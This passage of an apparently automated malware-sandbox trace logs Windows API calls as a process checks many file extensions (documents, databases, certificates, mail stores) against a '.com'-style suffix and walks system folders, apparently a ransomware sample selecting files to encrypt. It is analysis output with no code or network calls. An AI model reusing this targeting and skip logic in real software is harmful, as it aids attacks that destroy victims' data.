lstrcmpiW (lpString1=".jp2", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".jpc") returned 4 [0286.061] lstrcmpiW (lpString1=".jpc", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".jpe") returned 4 [0286.061] lstrcmpiW (lpString1=".jpe", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".jpeg") returned 5 [0286.061] lstrcmpiW (lpString1=".jpeg", lpString2="].com") returned -1 [0286.061] lstrlenW (lpString=".jpf") returned 4 [0286.061] lstrcmpiW (lpString1=".jpf", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".jpg") returned 4 [0286.061] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".jpx") returned 4 [0286.061] lstrcmpiW (lpString1=".jpx", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".js") returned 3 [0286.061] lstrcmpiW (lpString1=".js", lpString2="com") returned -1 [0286.061] lstrlenW (lpString=".jsf") returned 4 [0286.061] lstrcmpiW (lpString1=".jsf", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".json") returned 5 [0286.061] lstrcmpiW (lpString1=".json", lpString2="].com") returned -1 [0286.061] lstrlenW (lpString=".jsp") returned 4 [0286.061] lstrcmpiW (lpString1=".jsp", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".kdc") returned 4 [0286.061] lstrcmpiW (lpString1=".kdc", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".kmz") returned 4 [0286.061] lstrcmpiW (lpString1=".kmz", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".kwm") returned 4 [0286.061] lstrcmpiW (lpString1=".kwm", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".lasso") returned 6 [0286.061] lstrcmpiW (lpString1=".lasso", lpString2="m].com") returned -1 [0286.061] lstrlenW (lpString=".lbi") returned 4 [0286.061] lstrcmpiW (lpString1=".lbi", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".lgf") returned 4 [0286.062] lstrcmpiW (lpString1=".lgf", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".lgp") returned 4 [0286.062] lstrcmpiW (lpString1=".lgp", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".log") returned 4 [0286.062] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".m1v") returned 4 [0286.062] lstrcmpiW (lpString1=".m1v", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".m4a") returned 4 [0286.062] lstrcmpiW (lpString1=".m4a", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".m4v") returned 4 [0286.062] lstrcmpiW (lpString1=".m4v", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".max") returned 4 [0286.062] lstrcmpiW (lpString1=".max", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".md") returned 3 [0286.062] lstrcmpiW (lpString1=".md", lpString2="com") returned -1 [0286.062] lstrlenW (lpString=".mda") returned 4 [0286.062] lstrcmpiW (lpString1=".mda", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mdb") returned 4 [0286.062] lstrcmpiW (lpString1=".mdb", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mde") returned 4 [0286.062] lstrcmpiW (lpString1=".mde", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mdf") returned 4 [0286.062] lstrcmpiW (lpString1=".mdf", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mdw") returned 4 [0286.062] lstrcmpiW (lpString1=".mdw", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mef") returned 4 [0286.062] lstrcmpiW (lpString1=".mef", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mft") returned 4 [0286.062] lstrcmpiW (lpString1=".mft", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mfw") returned 4 [0286.062] lstrcmpiW (lpString1=".mfw", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mht") returned 4 [0286.062] lstrcmpiW (lpString1=".mht", lpString2=".com") returned 1 [0286.062] lstrlenW (lpString=".mhtml") returned 6 [0286.062] lstrcmpiW (lpString1=".mhtml", lpString2="m].com") returned -1 [0286.062] lstrlenW (lpString=".mka") returned 4 [0286.062] lstrcmpiW (lpString1=".mka", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mkidx") returned 6 [0286.063] lstrcmpiW (lpString1=".mkidx", lpString2="m].com") returned -1 [0286.063] lstrlenW (lpString=".mkv") returned 4 [0286.063] lstrcmpiW (lpString1=".mkv", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mos") returned 4 [0286.063] lstrcmpiW (lpString1=".mos", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mov") returned 4 [0286.063] lstrcmpiW (lpString1=".mov", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mp3") returned 4 [0286.063] lstrcmpiW (lpString1=".mp3", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mp4") returned 4 [0286.063] lstrcmpiW (lpString1=".mp4", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mpeg") returned 5 [0286.063] lstrcmpiW (lpString1=".mpeg", lpString2="].com") returned -1 [0286.063] lstrlenW (lpString=".mpg") returned 4 [0286.063] lstrcmpiW (lpString1=".mpg", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mpv") returned 4 [0286.063] lstrcmpiW (lpString1=".mpv", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mrw") returned 4 [0286.063] lstrcmpiW (lpString1=".mrw", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".msg") returned 4 [0286.063] lstrcmpiW (lpString1=".msg", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".mxl") returned 4 [0286.063] lstrcmpiW (lpString1=".mxl", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".myd") returned 4 [0286.063] lstrcmpiW (lpString1=".myd", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".myi") returned 4 [0286.063] lstrcmpiW (lpString1=".myi", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".nef") returned 4 [0286.063] lstrcmpiW (lpString1=".nef", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".nrw") returned 4 [0286.063] lstrcmpiW (lpString1=".nrw", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".obj") returned 4 [0286.063] lstrcmpiW (lpString1=".obj", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".odb") returned 4 [0286.063] lstrcmpiW (lpString1=".odb", lpString2=".com") returned 1 [0286.063] lstrlenW (lpString=".odc") returned 4 [0286.063] lstrcmpiW (lpString1=".odc", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".odm") returned 4 [0286.064] lstrcmpiW (lpString1=".odm", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".odp") returned 4 [0286.064] lstrcmpiW (lpString1=".odp", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".ods") returned 4 [0286.064] lstrcmpiW (lpString1=".ods", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".oft") returned 4 [0286.064] lstrcmpiW (lpString1=".oft", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".one") returned 4 [0286.064] lstrcmpiW (lpString1=".one", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".onepkg") returned 7 [0286.064] lstrcmpiW (lpString1=".onepkg", lpString2="om].com") returned -1 [0286.064] lstrlenW (lpString=".onetoc2") returned 8 [0286.064] lstrcmpiW (lpString1=".onetoc2", lpString2="com].com") returned -1 [0286.064] lstrlenW (lpString=".opt") returned 4 [0286.064] lstrcmpiW (lpString1=".opt", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".oqy") returned 4 [0286.064] lstrcmpiW (lpString1=".oqy", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".orf") returned 4 [0286.064] lstrcmpiW (lpString1=".orf", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".p12") returned 4 [0286.064] lstrcmpiW (lpString1=".p12", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".p7b") returned 4 [0286.064] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0286.064] lstrlenW (lpString=".p7c") returned 4 [0286.065] lstrcmpiW (lpString1=".p7c", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pam") returned 4 [0286.065] lstrcmpiW (lpString1=".pam", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pbm") returned 4 [0286.065] lstrcmpiW (lpString1=".pbm", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pct") returned 4 [0286.065] lstrcmpiW (lpString1=".pct", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pcx") returned 4 [0286.065] lstrcmpiW (lpString1=".pcx", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pdd") returned 4 [0286.065] lstrcmpiW (lpString1=".pdd", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pdf") returned 4 [0286.065] lstrcmpiW (lpString1=".pdf", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pdp") returned 4 [0286.065] lstrcmpiW (lpString1=".pdp", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pef") returned 4 [0286.065] lstrcmpiW (lpString1=".pef", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pem") returned 4 [0286.065] lstrcmpiW (lpString1=".pem", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pff") returned 4 [0286.065] lstrcmpiW (lpString1=".pff", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pfm") returned 4 [0286.065] lstrcmpiW (lpString1=".pfm", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pfx") returned 4 [0286.065] lstrcmpiW (lpString1=".pfx", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".pgm") returned 4 [0286.065] lstrcmpiW (lpString1=".pgm", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".php") returned 4 [0286.065] lstrcmpiW (lpString1=".php", lpString2=".com") returned 1 [0286.065] lstrlenW (lpString=".php3") returned 5 [0286.065] lstrcmpiW (lpString1=".php3", lpString2="].com") returned -1 [0286.065] lstrlenW (lpString=".php4") returned 5 [0286.065] lstrcmpiW (lpString1=".php4", lpString2="].com") returned -1 [0286.065] lstrlenW (lpString=".php5") returned 5 [0286.065] lstrcmpiW (lpString1=".php5", lpString2="].com") returned -1 [0286.065] lstrlenW (lpString=".phtml") returned 6 [0286.065] lstrcmpiW (lpString1=".phtml", lpString2="m].com") returned -1 [0286.065] lstrlenW (lpString=".pict") returned 5 [0286.066] lstrcmpiW (lpString1=".pict", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".pl") returned 3 [0286.066] lstrcmpiW (lpString1=".pl", lpString2="com") returned -1 [0286.066] lstrlenW (lpString=".pls") returned 4 [0286.066] lstrcmpiW (lpString1=".pls", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".pm") returned 3 [0286.066] lstrcmpiW (lpString1=".pm", lpString2="com") returned -1 [0286.066] lstrlenW (lpString=".png") returned 4 [0286.066] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".pnm") returned 4 [0286.066] lstrcmpiW (lpString1=".pnm", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".pot") returned 4 [0286.066] lstrcmpiW (lpString1=".pot", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".potm") returned 5 [0286.066] lstrcmpiW (lpString1=".potm", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".potx") returned 5 [0286.066] lstrcmpiW (lpString1=".potx", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".ppa") returned 4 [0286.066] lstrcmpiW (lpString1=".ppa", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".ppam") returned 5 [0286.066] lstrcmpiW (lpString1=".ppam", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".ppm") returned 4 [0286.066] lstrcmpiW (lpString1=".ppm", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".pps") returned 4 [0286.066] lstrcmpiW (lpString1=".pps", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".ppsm") returned 5 [0286.066] lstrcmpiW (lpString1=".ppsm", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".ppt") returned 4 [0286.066] lstrcmpiW (lpString1=".ppt", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".pptm") returned 5 [0286.066] lstrcmpiW (lpString1=".pptm", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".pptx") returned 5 [0286.066] lstrcmpiW (lpString1=".pptx", lpString2="].com") returned -1 [0286.066] lstrlenW (lpString=".prn") returned 4 [0286.066] lstrcmpiW (lpString1=".prn", lpString2=".com") returned 1 [0286.066] lstrlenW (lpString=".ps") returned 3 [0286.066] lstrcmpiW (lpString1=".ps", lpString2="com") returned -1 [0286.066] lstrlenW (lpString=".psb") returned 4 [0286.066] lstrcmpiW (lpString1=".psb", lpString2=".com") returned 1 [0286.067] lstrlenW (lpString=".psd") returned 4 [0286.067] lstrcmpiW (lpString1=".psd", lpString2=".com") returned 1 [0286.067] lstrlenW (lpString=".pst") returned 4 [0286.067] lstrcmpiW (lpString1=".pst", lpString2=".com") returned 1 [0286.067] lstrlenW (lpString=".ptx") returned 4 [0286.067] lstrcmpiW (lpString1=".ptx", lpString2=".com") returned 1 [0286.067] lstrlenW (lpString=".pub") returned 4 [0286.067] lstrcmpiW (lpString1=".pub", lpString2=".com") returned 1 [0286.067] lstrlenW (lpString=".pwm") returned 4 [0286.067] lstrcmpiW (lpString1=".pwm", lpString2=".com") returned 1 [0286.068] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.068] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0286.069] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.069] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0286.069] FindClose (in: hFindFile=0x74abb0 | out: hFindFile=0x74abb0) returned 1 [0286.069] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.069] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0286.070] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.070] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0286.070] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.070] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc0600132, ftLastAccessTime.dwHighDateTime=0x1d501b3, ftLastWriteTime.dwLowDateTime=0xc0600132, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0286.070] FindClose (in: hFindFile=0x74abb0 | out: hFindFile=0x74abb0) returned 1 [0286.070] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.070] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0286.071] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.071] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0286.073] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.073] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0286.074] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.074] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0286.076] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.076] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0286.077] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.077] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0286.078] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.079] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0286.080] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.080] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0286.081] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.081] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0286.083] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.083] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0286.181] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.181] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0286.182] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.182] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0286.184] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.184] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0286.185] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.185] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0286.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.187] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0286.188] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.188] FindNextFileW (in: hFindFile=0x74a6b0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, 